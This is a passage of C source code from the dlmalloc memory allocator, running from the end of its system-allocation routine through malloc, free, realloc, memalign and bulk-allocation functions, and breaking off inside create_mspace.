MAX_RELEASE_CHECK_RATE; init_bins(m); #if !ONLY_MSPACES if (is_global(m)) init_top(m, (mchunkptr)tbase, tsize - TOP_FOOT_SIZE); else #endif { /* Offset top by embedded malloc_state */ mchunkptr mn = next_chunk(mem2chunk(m)); init_top(m, mn, (size_t)((tbase + tsize) - (char*)mn) -TOP_FOOT_SIZE); } } else { /* Try to merge with an existing segment */ msegmentptr sp = &m->seg; /* Only consider most recent segment if traversal suppressed */ while (sp != 0 && tbase != sp->base + sp->size) sp = (NO_SEGMENT_TRAVERSAL) ? 0 : sp->next; if (sp != 0 && !is_extern_segment(sp) && (sp->sflags & USE_MMAP_BIT) == mmap_flag && segment_holds(sp, m->top)) { /* append */ sp->size += tsize; init_top(m, m->top, m->topsize + tsize); } else { if (tbase < m->least_addr) m->least_addr = tbase; sp = &m->seg; while (sp != 0 && sp->base != tbase + tsize) sp = (NO_SEGMENT_TRAVERSAL) ? 0 : sp->next; if (sp != 0 && !is_extern_segment(sp) && (sp->sflags & USE_MMAP_BIT) == mmap_flag) { char* oldbase = sp->base; sp->base = tbase; sp->size += tsize; return prepend_alloc(m, tbase, oldbase, nb); } else add_segment(m, tbase, tsize, mmap_flag); } } if (nb < m->topsize) { /* Allocate from new or extended top space */ size_t rsize = m->topsize -= nb; mchunkptr p = m->top; mchunkptr r = m->top = chunk_plus_offset(p, nb); r->head = rsize | PINUSE_BIT; set_size_and_pinuse_of_inuse_chunk(m, p, nb); check_top_chunk(m, m->top); check_malloced_chunk(m, chunk2mem(p), nb); return chunk2mem(p); } } MALLOC_FAILURE_ACTION; return 0; } /* ----------------------- system deallocation -------------------------- */ /* Unmap and unlink any mmapped segments that don't contain used chunks */ static size_t release_unused_segments(mstate m) { size_t released = 0; int nsegs = 0; msegmentptr pred = &m->seg; msegmentptr sp = pred->next; while (sp != 0) { char* base = sp->base; size_t size = sp->size; msegmentptr next = sp->next; ++nsegs; if (is_mmapped_segment(sp) && !is_extern_segment(sp)) { mchunkptr p = align_as_chunk(base); size_t psize = chunksize(p); /* Can unmap if first chunk holds entire segment and not pinned */ if (!is_inuse(p) && (char*)p + psize >= base + size - TOP_FOOT_SIZE) { tchunkptr tp = (tchunkptr)p; assert(segment_holds(sp, (char*)sp)); if (p == m->dv) { m->dv = 0; m->dvsize = 0; } else { unlink_large_chunk(m, tp); } if (CALL_MUNMAP(base, size) == 0) { released += size; m->footprint -= size; /* unlink obsoleted record */ sp = pred; sp->next = next; } else { /* back out if cannot unmap */ insert_large_chunk(m, tp, psize); } } } if (NO_SEGMENT_TRAVERSAL) /* scan only first segment */ break; pred = sp; sp = next; } /* Reset check counter */ m->release_checks = (((size_t) nsegs > (size_t) MAX_RELEASE_CHECK_RATE)? (size_t) nsegs : (size_t) MAX_RELEASE_CHECK_RATE); return released; } static int sys_trim(mstate m, size_t pad) { size_t released = 0; ensure_initialization(); if (pad < MAX_REQUEST && is_initialized(m)) { pad += TOP_FOOT_SIZE; /* ensure enough room for segment overhead */ if (m->topsize > pad) { /* Shrink top space in granularity-size units, keeping at least one */ size_t unit = mparams.granularity; size_t extra = ((m->topsize - pad + (unit - SIZE_T_ONE)) / unit - SIZE_T_ONE) * unit; msegmentptr sp = segment_holding(m, (char*)m->top); if (!is_extern_segment(sp)) { if (is_mmapped_segment(sp)) { if (HAVE_MMAP && sp->size >= extra && !has_segment_link(m, sp)) { /* can't shrink if pinned */ size_t newsize = sp->size - extra; (void)newsize; /* placate people compiling -Wunused-variable */ /* Prefer mremap, fall back to munmap */ if ((CALL_MREMAP(sp->base, sp->size, newsize, 0) != MFAIL) || (CALL_MUNMAP(sp->base + newsize, extra) == 0)) { released = extra; } } } else if (HAVE_MORECORE) { if (extra >= HALF_MAX_SIZE_T) /* Avoid wrapping negative */ extra = (HALF_MAX_SIZE_T) + SIZE_T_ONE - unit; ACQUIRE_MALLOC_GLOBAL_LOCK(); { /* Make sure end of memory is where we last set it. */ char* old_br = (char*)(CALL_MORECORE(0)); if (old_br == sp->base + sp->size) { char* rel_br = (char*)(CALL_MORECORE(-extra)); char* new_br = (char*)(CALL_MORECORE(0)); if (rel_br != CMFAIL && new_br < old_br) released = old_br - new_br; } } RELEASE_MALLOC_GLOBAL_LOCK(); } } if (released != 0) { sp->size -= released; m->footprint -= released; init_top(m, m->top, m->topsize - released); check_top_chunk(m, m->top); } } /* Unmap any unused mmapped segments */ if (HAVE_MMAP) released += release_unused_segments(m); /* On failure, disable autotrim to avoid repeated failed future calls */ if (released == 0 && m->topsize > m->trim_check) m->trim_check = MAX_SIZE_T; } return (released != 0)? 1 : 0; } /* Consolidate and bin a chunk. Differs from exported versions of free mainly in that the chunk need not be marked as inuse. */ static void dispose_chunk(mstate m, mchunkptr p, size_t psize) { mchunkptr next = chunk_plus_offset(p, psize); if (!pinuse(p)) { mchunkptr prev; size_t prevsize = p->prev_foot; if (is_mmapped(p)) { psize += prevsize + MMAP_FOOT_PAD; if (CALL_MUNMAP((char*)p - prevsize, psize) == 0) m->footprint -= psize; return; } prev = chunk_minus_offset(p, prevsize); psize += prevsize; p = prev; if (RTCHECK(ok_address(m, prev))) { /* consolidate backward */ if (p != m->dv) { unlink_chunk(m, p, prevsize); } else if ((next->head & INUSE_BITS) == INUSE_BITS) { m->dvsize = psize; set_free_with_pinuse(p, psize, next); return; } } else { CORRUPTION_ERROR_ACTION(m); return; } } if (RTCHECK(ok_address(m, next))) { if (!cinuse(next)) { /* consolidate forward */ if (next == m->top) { size_t tsize = m->topsize += psize; m->top = p; p->head = tsize | PINUSE_BIT; if (p == m->dv) { m->dv = 0; m->dvsize = 0; } return; } else if (next == m->dv) { size_t dsize = m->dvsize += psize; m->dv = p; set_size_and_pinuse_of_free_chunk(p, dsize); return; } else { size_t nsize = chunksize(next); psize += nsize; unlink_chunk(m, next, nsize); set_size_and_pinuse_of_free_chunk(p, psize); if (p == m->dv) { m->dvsize = psize; return; } } } else { set_free_with_pinuse(p, psize, next); } insert_chunk(m, p, psize); } else { CORRUPTION_ERROR_ACTION(m); } } /* ---------------------------- malloc --------------------------- */ /* allocate a large request from the best fitting chunk in a treebin */ static void* tmalloc_large(mstate m, size_t nb) { tchunkptr v = 0; size_t rsize = -nb; /* Unsigned negation */ tchunkptr t; bindex_t idx; compute_tree_index(nb, idx); if ((t = *treebin_at(m, idx)) != 0) { /* Traverse tree for this bin looking for node with size == nb */ size_t sizebits = nb << leftshift_for_tree_index(idx); tchunkptr rst = 0; /* The deepest untaken right subtree */ for (;;) { tchunkptr rt; size_t trem = chunksize(t) - nb; if (trem < rsize) { v = t; if ((rsize = trem) == 0) break; } rt = t->child[1]; t = t->child[(sizebits >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1]; if (rt != 0 && rt != t) rst = rt; if (t == 0) { t = rst; /* set t to least subtree holding sizes > nb */ break; } sizebits <<= 1; } } if (t == 0 && v == 0) { /* set t to root of next non-empty treebin */ binmap_t leftbits = left_bits(idx2bit(idx)) & m->treemap; if (leftbits != 0) { bindex_t i; binmap_t leastbit = least_bit(leftbits); compute_bit2idx(leastbit, i); t = *treebin_at(m, i); } } while (t != 0) { /* find smallest of tree or subtree */ size_t trem = chunksize(t) - nb; if (trem < rsize) { rsize = trem; v = t; } t = leftmost_child(t); } /* If dv is a better fit, return 0 so malloc will use it */ if (v != 0 && rsize < (size_t)(m->dvsize - nb)) { if (RTCHECK(ok_address(m, v))) { /* split */ mchunkptr r = chunk_plus_offset(v, nb); assert(chunksize(v) == rsize + nb); if (RTCHECK(ok_next(v, r))) { unlink_large_chunk(m, v); if (rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(m, v, (rsize + nb)); else { set_size_and_pinuse_of_inuse_chunk(m, v, nb); set_size_and_pinuse_of_free_chunk(r, rsize); insert_chunk(m, r, rsize); } return chunk2mem(v); } } CORRUPTION_ERROR_ACTION(m); } return 0; } /* allocate a small request from the best fitting chunk in a treebin */ static void* tmalloc_small(mstate m, size_t nb) { tchunkptr t, v; size_t rsize; bindex_t i; binmap_t leastbit = least_bit(m->treemap); compute_bit2idx(leastbit, i); v = t = *treebin_at(m, i); rsize = chunksize(t) - nb; while ((t = leftmost_child(t)) != 0) { size_t trem = chunksize(t) - nb; if (trem < rsize) { rsize = trem; v = t; } } if (RTCHECK(ok_address(m, v))) { mchunkptr r = chunk_plus_offset(v, nb); assert(chunksize(v) == rsize + nb); if (RTCHECK(ok_next(v, r))) { unlink_large_chunk(m, v); if (rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(m, v, (rsize + nb)); else { set_size_and_pinuse_of_inuse_chunk(m, v, nb); set_size_and_pinuse_of_free_chunk(r, rsize); replace_dv(m, r, rsize); } return chunk2mem(v); } } CORRUPTION_ERROR_ACTION(m); return 0; } #if !ONLY_MSPACES void* dlmalloc(size_t bytes) { /* Basic algorithm: If a small request (< 256 bytes minus per-chunk overhead): 1. If one exists, use a remainderless chunk in associated smallbin. (Remainderless means that there are too few excess bytes to represent as a chunk.) 2. If it is big enough, use the dv chunk, which is normally the chunk adjacent to the one used for the most recent small request. 3. If one exists, split the smallest available chunk in a bin, saving remainder in dv. 4. If it is big enough, use the top chunk. 5. If available, get memory from system and use it Otherwise, for a large request: 1. Find the smallest available binned chunk that fits, and use it if it is better fitting than dv chunk, splitting if necessary. 2. If better fitting than any binned chunk, use the dv chunk. 3. If it is big enough, use the top chunk. 4. If request size >= mmap threshold, try to directly mmap this chunk. 5. If available, get memory from system and use it The ugly goto's here ensure that postaction occurs along all paths. */ #if USE_LOCKS ensure_initialization(); /* initialize in sys_alloc if not using locks */ #endif if (!PREACTION(gm)) { void* mem; size_t nb; if (bytes <= MAX_SMALL_REQUEST) { bindex_t idx; binmap_t smallbits; nb = (bytes < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(bytes); idx = small_index(nb); smallbits = gm->smallmap >> idx; if ((smallbits & 0x3U) != 0) { /* Remainderless fit to a smallbin. */ mchunkptr b, p; idx += ~smallbits & 1; /* Uses next bin if idx empty */ b = smallbin_at(gm, idx); p = b->fd; assert(chunksize(p) == small_index2size(idx)); unlink_first_small_chunk(gm, b, p, idx); set_inuse_and_pinuse(gm, p, small_index2size(idx)); mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; } else if (nb > gm->dvsize) { if (smallbits != 0) { /* Use chunk in next nonempty smallbin */ mchunkptr b, p, r; size_t rsize; bindex_t i; binmap_t leftbits = (smallbits << idx) & left_bits(idx2bit(idx)); binmap_t leastbit = least_bit(leftbits); compute_bit2idx(leastbit, i); b = smallbin_at(gm, i); p = b->fd; assert(chunksize(p) == small_index2size(i)); unlink_first_small_chunk(gm, b, p, i); rsize = small_index2size(i) - nb; /* Fit here cannot be remainderless if 4byte sizes */ if (SIZE_T_SIZE != 4 && rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(gm, p, small_index2size(i)); else { set_size_and_pinuse_of_inuse_chunk(gm, p, nb); r = chunk_plus_offset(p, nb); set_size_and_pinuse_of_free_chunk(r, rsize); replace_dv(gm, r, rsize); } mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; } else if (gm->treemap != 0 && (mem = tmalloc_small(gm, nb)) != 0) { check_malloced_chunk(gm, mem, nb); goto postaction; } } } else if (bytes >= MAX_REQUEST) nb = MAX_SIZE_T; /* Too big to allocate. Force failure (in sys alloc) */ else { nb = pad_request(bytes); if (gm->treemap != 0 && (mem = tmalloc_large(gm, nb)) != 0) { check_malloced_chunk(gm, mem, nb); goto postaction; } } if (nb <= gm->dvsize) { size_t rsize = gm->dvsize - nb; mchunkptr p = gm->dv; if (rsize >= MIN_CHUNK_SIZE) { /* split dv */ mchunkptr r = gm->dv = chunk_plus_offset(p, nb); gm->dvsize = rsize; set_size_and_pinuse_of_free_chunk(r, rsize); set_size_and_pinuse_of_inuse_chunk(gm, p, nb); } else { /* exhaust dv */ size_t dvs = gm->dvsize; gm->dvsize = 0; gm->dv = 0; set_inuse_and_pinuse(gm, p, dvs); } mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; } else if (nb < gm->topsize) { /* Split top */ size_t rsize = gm->topsize -= nb; mchunkptr p = gm->top; mchunkptr r = gm->top = chunk_plus_offset(p, nb); r->head = rsize | PINUSE_BIT; set_size_and_pinuse_of_inuse_chunk(gm, p, nb); mem = chunk2mem(p); check_top_chunk(gm, gm->top); check_malloced_chunk(gm, mem, nb); goto postaction; } mem = sys_alloc(gm, nb); postaction: POSTACTION(gm); return mem; } return 0; } /* ---------------------------- free --------------------------- */ void dlfree(void* mem) { /* Consolidate freed chunks with preceeding or succeeding bordering free chunks, if they exist, and then place in a bin. Intermixed with special cases for top, dv, mmapped chunks, and usage errors. */ if (mem != 0) { mchunkptr p = mem2chunk(mem); #if FOOTERS mstate fm = get_mstate_for(p); if (!ok_magic(fm)) { USAGE_ERROR_ACTION(fm, p); return; } #else /* FOOTERS */ #define fm gm #endif /* FOOTERS */ if (!PREACTION(fm)) { check_inuse_chunk(fm, p); if (RTCHECK(ok_address(fm, p) && ok_inuse(p))) { size_t psize = chunksize(p); mchunkptr next = chunk_plus_offset(p, psize); if (!pinuse(p)) { size_t prevsize = p->prev_foot; if (is_mmapped(p)) { psize += prevsize + MMAP_FOOT_PAD; if (CALL_MUNMAP((char*)p - prevsize, psize) == 0) fm->footprint -= psize; goto postaction; } else { mchunkptr prev = chunk_minus_offset(p, prevsize); psize += prevsize; p = prev; if (RTCHECK(ok_address(fm, prev))) { /* consolidate backward */ if (p != fm->dv) { unlink_chunk(fm, p, prevsize); } else if ((next->head & INUSE_BITS) == INUSE_BITS) { fm->dvsize = psize; set_free_with_pinuse(p, psize, next); goto postaction; } } else goto erroraction; } } if (RTCHECK(ok_next(p, next) && ok_pinuse(next))) { if (!cinuse(next)) { /* consolidate forward */ if (next == fm->top) { size_t tsize = fm->topsize += psize; fm->top = p; p->head = tsize | PINUSE_BIT; if (p == fm->dv) { fm->dv = 0; fm->dvsize = 0; } if (should_trim(fm, tsize)) sys_trim(fm, 0); goto postaction; } else if (next == fm->dv) { size_t dsize = fm->dvsize += psize; fm->dv = p; set_size_and_pinuse_of_free_chunk(p, dsize); goto postaction; } else { size_t nsize = chunksize(next); psize += nsize; unlink_chunk(fm, next, nsize); set_size_and_pinuse_of_free_chunk(p, psize); if (p == fm->dv) { fm->dvsize = psize; goto postaction; } } } else set_free_with_pinuse(p, psize, next); if (is_small(psize)) { insert_small_chunk(fm, p, psize); check_free_chunk(fm, p); } else { tchunkptr tp = (tchunkptr)p; insert_large_chunk(fm, tp, psize); check_free_chunk(fm, p); if (--fm->release_checks == 0) release_unused_segments(fm); } goto postaction; } } erroraction: USAGE_ERROR_ACTION(fm, p); postaction: POSTACTION(fm); } } #if !FOOTERS #undef fm #endif /* FOOTERS */ } void* dlcalloc(size_t n_elements, size_t elem_size) { void* mem; size_t req = 0; if (n_elements != 0) { req = n_elements * elem_size; if (((n_elements | elem_size) & ~(size_t)0xffff) && (req / n_elements != elem_size)) req = MAX_SIZE_T; /* force downstream failure on overflow */ } mem = dlmalloc(req); if (mem != 0 && calloc_must_clear(mem2chunk(mem))) memset(mem, 0, req); return mem; } #endif /* !ONLY_MSPACES */ /* ------------ Internal support for realloc, memalign, etc -------------- */ /* Try to realloc; only in-place unless can_move true */ static mchunkptr try_realloc_chunk(mstate m, mchunkptr p, size_t nb, int can_move) { mchunkptr newp = 0; size_t oldsize = chunksize(p); mchunkptr next = chunk_plus_offset(p, oldsize); if (RTCHECK(ok_address(m, p) && ok_inuse(p) && ok_next(p, next) && ok_pinuse(next))) { if (is_mmapped(p)) { newp = mmap_resize(m, p, nb, can_move); } else if (oldsize >= nb) { /* already big enough */ size_t rsize = oldsize - nb; if (rsize >= MIN_CHUNK_SIZE) { /* split off remainder */ mchunkptr r = chunk_plus_offset(p, nb); set_inuse(m, p, nb); set_inuse(m, r, rsize); dispose_chunk(m, r, rsize); } newp = p; } else if (next == m->top) { /* extend into top */ if (oldsize + m->topsize > nb) { size_t newsize = oldsize + m->topsize; size_t newtopsize = newsize - nb; mchunkptr newtop = chunk_plus_offset(p, nb); set_inuse(m, p, nb); newtop->head = newtopsize |PINUSE_BIT; m->top = newtop; m->topsize = newtopsize; newp = p; } } else if (next == m->dv) { /* extend into dv */ size_t dvs = m->dvsize; if (oldsize + dvs >= nb) { size_t dsize = oldsize + dvs - nb; if (dsize >= MIN_CHUNK_SIZE) { mchunkptr r = chunk_plus_offset(p, nb); mchunkptr n = chunk_plus_offset(r, dsize); set_inuse(m, p, nb); set_size_and_pinuse_of_free_chunk(r, dsize); clear_pinuse(n); m->dvsize = dsize; m->dv = r; } else { /* exhaust dv */ size_t newsize = oldsize + dvs; set_inuse(m, p, newsize); m->dvsize = 0; m->dv = 0; } newp = p; } } else if (!cinuse(next)) { /* extend into next free chunk */ size_t nextsize = chunksize(next); if (oldsize + nextsize >= nb) { size_t rsize = oldsize + nextsize - nb; unlink_chunk(m, next, nextsize); if (rsize < MIN_CHUNK_SIZE) { size_t newsize = oldsize + nextsize; set_inuse(m, p, newsize); } else { mchunkptr r = chunk_plus_offset(p, nb); set_inuse(m, p, nb); set_inuse(m, r, rsize); dispose_chunk(m, r, rsize); } newp = p; } } } else { USAGE_ERROR_ACTION(m, chunk2mem(p)); } return newp; } static void* internal_memalign(mstate m, size_t alignment, size_t bytes) { void* mem = 0; if (alignment < MIN_CHUNK_SIZE) /* must be at least a minimum chunk size */ alignment = MIN_CHUNK_SIZE; if ((alignment & (alignment-SIZE_T_ONE)) != 0) {/* Ensure a power of 2 */ size_t a = MALLOC_ALIGNMENT << 1; while (a < alignment) a <<= 1; alignment = a; } if (bytes >= MAX_REQUEST - alignment) { if (m != 0) { /* Test isn't needed but avoids compiler warning */ MALLOC_FAILURE_ACTION; } } else { size_t nb = request2size(bytes); size_t req = nb + alignment + MIN_CHUNK_SIZE - CHUNK_OVERHEAD; mem = internal_malloc(m, req); if (mem != 0) { mchunkptr p = mem2chunk(mem); if (PREACTION(m)) return 0; if ((((size_t)(mem)) & (alignment - 1)) != 0) { /* misaligned */ /* Find an aligned spot inside chunk. Since we need to give back leading space in a chunk of at least MIN_CHUNK_SIZE, if the first calculation places us at a spot with less than MIN_CHUNK_SIZE leader, we can move to the next aligned spot. We've allocated enough total room so that this is always possible. */ char* br = (char*)mem2chunk((size_t)(((size_t)((char*)mem + alignment - SIZE_T_ONE)) & -alignment)); char* pos = ((size_t)(br - (char*)(p)) >= MIN_CHUNK_SIZE)? br : br+alignment; mchunkptr newp = (mchunkptr)pos; size_t leadsize = pos - (char*)(p); size_t newsize = chunksize(p) - leadsize; if (is_mmapped(p)) { /* For mmapped chunks, just adjust offset */ newp->prev_foot = p->prev_foot + leadsize; newp->head = newsize; } else { /* Otherwise, give back leader, use the rest */ set_inuse(m, newp, newsize); set_inuse(m, p, leadsize); dispose_chunk(m, p, leadsize); } p = newp; } /* Give back spare room at the end */ if (!is_mmapped(p)) { size_t size = chunksize(p); if (size > nb + MIN_CHUNK_SIZE) { size_t remainder_size = size - nb; mchunkptr remainder = chunk_plus_offset(p, nb); set_inuse(m, p, nb); set_inuse(m, remainder, remainder_size); dispose_chunk(m, remainder, remainder_size); } } mem = chunk2mem(p); assert (chunksize(p) >= nb); assert(((size_t)mem & (alignment - 1)) == 0); check_inuse_chunk(m, p); POSTACTION(m); } } return mem; } /* Common support for independent_X routines, handling all of the combinations that can result. The opts arg has: bit 0 set if all elements are same size (using sizes[0]) bit 1 set if elements should be zeroed */ static void** ialloc(mstate m, size_t n_elements, size_t* sizes, int opts, void* chunks[]) { size_t element_size; /* chunksize of each element, if all same */ size_t contents_size; /* total size of elements */ size_t array_size; /* request size of pointer array */ void* mem; /* malloced aggregate space */ mchunkptr p; /* corresponding chunk */ size_t remainder_size; /* remaining bytes while splitting */ void** marray; /* either "chunks" or malloced ptr array */ mchunkptr array_chunk; /* chunk for malloced ptr array */ flag_t was_enabled; /* to disable mmap */ size_t size; size_t i; ensure_initialization(); /* compute array length, if needed */ if (chunks != 0) { if (n_elements == 0) return chunks; /* nothing to do */ marray = chunks; array_size = 0; } else { /* if empty req, must still return chunk representing empty array */ if (n_elements == 0) return (void**)internal_malloc(m, 0); marray = 0; array_size = request2size(n_elements * (sizeof(void*))); } /* compute total element size */ if (opts & 0x1) { /* all-same-size */ element_size = request2size(*sizes); contents_size = n_elements * element_size; } else { /* add up all the sizes */ element_size = 0; contents_size = 0; for (i = 0; i != n_elements; ++i) contents_size += request2size(sizes[i]); } size = contents_size + array_size; /* Allocate the aggregate chunk. First disable direct-mmapping so malloc won't use it, since we would not be able to later free/realloc space internal to a segregated mmap region. */ was_enabled = use_mmap(m); disable_mmap(m); mem = internal_malloc(m, size - CHUNK_OVERHEAD); if (was_enabled) enable_mmap(m); if (mem == 0) return 0; if (PREACTION(m)) return 0; p = mem2chunk(mem); remainder_size = chunksize(p); assert(!is_mmapped(p)); if (opts & 0x2) { /* optionally clear the elements */ memset((size_t*)mem, 0, remainder_size - SIZE_T_SIZE - array_size); } /* If not provided, allocate the pointer array as final part of chunk */ if (marray == 0) { size_t array_chunk_size; array_chunk = chunk_plus_offset(p, contents_size); array_chunk_size = remainder_size - contents_size; marray = (void**) (chunk2mem(array_chunk)); set_size_and_pinuse_of_inuse_chunk(m, array_chunk, array_chunk_size); remainder_size = contents_size; } /* split out elements */ for (i = 0; ; ++i) { marray[i] = chunk2mem(p); if (i != n_elements-1) { if (element_size != 0) size = element_size; else size = request2size(sizes[i]); remainder_size -= size; set_size_and_pinuse_of_inuse_chunk(m, p, size); p = chunk_plus_offset(p, size); } else { /* the final element absorbs any overallocation slop */ set_size_and_pinuse_of_inuse_chunk(m, p, remainder_size); break; } } #if DEBUG if (marray != chunks) { /* final element must have exactly exhausted chunk */ if (element_size != 0) { assert(remainder_size == element_size); } else { assert(remainder_size == request2size(sizes[i])); } check_inuse_chunk(m, mem2chunk(marray)); } for (i = 0; i != n_elements; ++i) check_inuse_chunk(m, mem2chunk(marray[i])); #endif /* DEBUG */ POSTACTION(m); return marray; } /* Try to free all pointers in the given array. Note: this could be made faster, by delaying consolidation, at the price of disabling some user integrity checks, We still optimize some consolidations by combining adjacent chunks before freeing, which will occur often if allocated with ialloc or the array is sorted. */ static size_t internal_bulk_free(mstate m, void* array[], size_t nelem) { size_t unfreed = 0; if (!PREACTION(m)) { void** a; void** fence = &(array[nelem]); for (a = array; a != fence; ++a) { void* mem = *a; if (mem != 0) { mchunkptr p = mem2chunk(mem); size_t psize = chunksize(p); #if FOOTERS if (get_mstate_for(p) != m) { ++unfreed; continue; } #endif check_inuse_chunk(m, p); *a = 0; if (RTCHECK(ok_address(m, p) && ok_inuse(p))) { void ** b = a + 1; /* try to merge with next chunk */ mchunkptr next = next_chunk(p); if (b != fence && *b == chunk2mem(next)) { size_t newsize = chunksize(next) + psize; set_inuse(m, p, newsize); *b = chunk2mem(p); } else dispose_chunk(m, p, psize); } else { CORRUPTION_ERROR_ACTION(m); break; } } } if (should_trim(m, m->topsize)) sys_trim(m, 0); POSTACTION(m); } return unfreed; } /* Traversal */ #if MALLOC_INSPECT_ALL static void internal_inspect_all(mstate m, void(*handler)(void *start, void *end, size_t used_bytes, void* callback_arg), void* arg) { if (is_initialized(m)) { mchunkptr top = m->top; msegmentptr s; for (s = &m->seg; s != 0; s = s->next) { mchunkptr q = align_as_chunk(s->base); while (segment_holds(s, q) && q->head != FENCEPOST_HEAD) { mchunkptr next = next_chunk(q); size_t sz = chunksize(q); size_t used; void* start; if (is_inuse(q)) { used = sz - CHUNK_OVERHEAD; /* must not be mmapped */ start = chunk2mem(q); } else { used = 0; if (is_small(sz)) { /* offset by possible bookkeeping */ start = (void*)((char*)q + sizeof(struct malloc_chunk)); } else { start = (void*)((char*)q + sizeof(struct malloc_tree_chunk)); } } if (start < (void*)next) /* skip if all space is bookkeeping */ handler(start, next, used, arg); if (q == top) break; q = next; } } } } #endif /* MALLOC_INSPECT_ALL */ /* ------------------ Exported realloc, memalign, etc -------------------- */ #if !ONLY_MSPACES void* dlrealloc(void* oldmem, size_t bytes) { void* mem = 0; if (oldmem == 0) { mem = dlmalloc(bytes); } else if (bytes >= MAX_REQUEST) { MALLOC_FAILURE_ACTION; } #ifdef REALLOC_ZERO_BYTES_FREES else if (bytes == 0) { dlfree(oldmem); } #endif /* REALLOC_ZERO_BYTES_FREES */ else { size_t nb = request2size(bytes); mchunkptr oldp = mem2chunk(oldmem); #if ! FOOTERS mstate m = gm; #else /* FOOTERS */ mstate m = get_mstate_for(oldp); if (!ok_magic(m)) { USAGE_ERROR_ACTION(m, oldmem); return 0; } #endif /* FOOTERS */ if (!PREACTION(m)) { mchunkptr newp = try_realloc_chunk(m, oldp, nb, 1); POSTACTION(m); if (newp != 0) { check_inuse_chunk(m, newp); mem = chunk2mem(newp); } else { mem = internal_malloc(m, bytes); if (mem != 0) { size_t oc = chunksize(oldp) - overhead_for(oldp); memcpy(mem, oldmem, (oc < bytes)? oc : bytes); internal_free(m, oldmem); } } } } return mem; } void* dlrealloc_in_place(void* oldmem, size_t bytes) { void* mem = 0; if (oldmem != 0) { if (bytes >= MAX_REQUEST) { MALLOC_FAILURE_ACTION; } else { size_t nb = request2size(bytes); mchunkptr oldp = mem2chunk(oldmem); #if ! FOOTERS mstate m = gm; #else /* FOOTERS */ mstate m = get_mstate_for(oldp); if (!ok_magic(m)) { USAGE_ERROR_ACTION(m, oldmem); return 0; } #endif /* FOOTERS */ if (!PREACTION(m)) { mchunkptr newp = try_realloc_chunk(m, oldp, nb, 0); POSTACTION(m); if (newp == oldp) { check_inuse_chunk(m, newp); mem = oldmem; } } } } return mem; } void* dlmemalign(size_t alignment, size_t bytes) { if (alignment <= MALLOC_ALIGNMENT) { return dlmalloc(bytes); } return internal_memalign(gm, alignment, bytes); } int dlposix_memalign(void** pp, size_t alignment, size_t bytes) { void* mem = 0; if (alignment == MALLOC_ALIGNMENT) mem = dlmalloc(bytes); else { size_t d = alignment / sizeof(void*); size_t r = alignment % sizeof(void*); if (r != 0 || d == 0 || (d & (d-SIZE_T_ONE)) != 0) return EINVAL; else if (bytes <= MAX_REQUEST - alignment) { if (alignment < MIN_CHUNK_SIZE) alignment = MIN_CHUNK_SIZE; mem = internal_memalign(gm, alignment, bytes); } } if (mem == 0) return ENOMEM; else { *pp = mem; return 0; } } void* dlvalloc(size_t bytes) { size_t pagesz; ensure_initialization(); pagesz = mparams.page_size; return dlmemalign(pagesz, bytes); } void* dlpvalloc(size_t bytes) { size_t pagesz; ensure_initialization(); pagesz = mparams.page_size; return dlmemalign(pagesz, (bytes + pagesz - SIZE_T_ONE) & ~(pagesz - SIZE_T_ONE)); } void** dlindependent_calloc(size_t n_elements, size_t elem_size, void* chunks[]) { size_t sz = elem_size; /* serves as 1-element array */ return ialloc(gm, n_elements, &sz, 3, chunks); } void** dlindependent_comalloc(size_t n_elements, size_t sizes[], void* chunks[]) { return ialloc(gm, n_elements, sizes, 0, chunks); } size_t dlbulk_free(void* array[], size_t nelem) { return internal_bulk_free(gm, array, nelem); } #if MALLOC_INSPECT_ALL void dlmalloc_inspect_all(void(*handler)(void *start, void *end, size_t used_bytes, void* callback_arg), void* arg) { ensure_initialization(); if (!PREACTION(gm)) { internal_inspect_all(gm, handler, arg); POSTACTION(gm); } } #endif /* MALLOC_INSPECT_ALL */ int dlmalloc_trim(size_t pad) { int result = 0; ensure_initialization(); if (!PREACTION(gm)) { result = sys_trim(gm, pad); POSTACTION(gm); } return result; } size_t dlmalloc_footprint(void) { return gm->footprint; } size_t dlmalloc_max_footprint(void) { return gm->max_footprint; } size_t dlmalloc_footprint_limit(void) { size_t maf = gm->footprint_limit; return maf == 0 ? MAX_SIZE_T : maf; } size_t dlmalloc_set_footprint_limit(size_t bytes) { size_t result; /* invert sense of 0 */ if (bytes == 0) result = granularity_align(1); /* Use minimal size */ if (bytes == MAX_SIZE_T) result = 0; /* disable */ else result = granularity_align(bytes); return gm->footprint_limit = result; } #if !NO_MALLINFO struct mallinfo dlmallinfo(void) { return internal_mallinfo(gm); } #endif /* NO_MALLINFO */ #if !NO_MALLOC_STATS void dlmalloc_stats() { internal_malloc_stats(gm); } #endif /* NO_MALLOC_STATS */ int dlmallopt(int param_number, int value) { return change_mparam(param_number, value); } size_t dlmalloc_usable_size(void* mem) { if (mem != 0) { mchunkptr p = mem2chunk(mem); if (is_inuse(p)) return chunksize(p) - overhead_for(p); } return 0; } #endif /* !ONLY_MSPACES */ /* ----------------------------- user mspaces ---------------------------- */ #if MSPACES static mstate init_user_mstate(char* tbase, size_t tsize) { size_t msize = pad_request(sizeof(struct malloc_state)); mchunkptr mn; mchunkptr msp = align_as_chunk(tbase); mstate m = (mstate)(chunk2mem(msp)); memset(m, 0, msize); (void)INITIAL_LOCK(&m->mutex); msp->head = (msize|INUSE_BITS); m->seg.base = m->least_addr = tbase; m->seg.size = m->footprint = m->max_footprint = tsize; m->magic = mparams.magic; m->release_checks = MAX_RELEASE_CHECK_RATE; m->mflags = mparams.default_mflags; m->extp = 0; m->exts = 0; disable_contiguous(m); init_bins(m); mn = next_chunk(mem2chunk(m)); init_top(m, mn, (size_t)((tbase + tsize) - (char*)mn) - TOP_FOOT_SIZE); check_top_chunk(m, m->top); return m; } mspace create_mspace(size_t capacity, int locked) { mstate m = 0; size_t msize; ensure_initialization(); msize = pad_request(sizeof(struct malloc_state)); if (capacity < (size_t) -(msize + TOP_FOOT_SIZE + mparams.page_size)) { size_t rs = ((capacity == 0)? mparams.granularity : (capacity + TOP_FOOT_SIZE + msize)); size_t tsize = granularity_align(rs); char* tbase = (char*)(CALL_MMAP(tsize)); 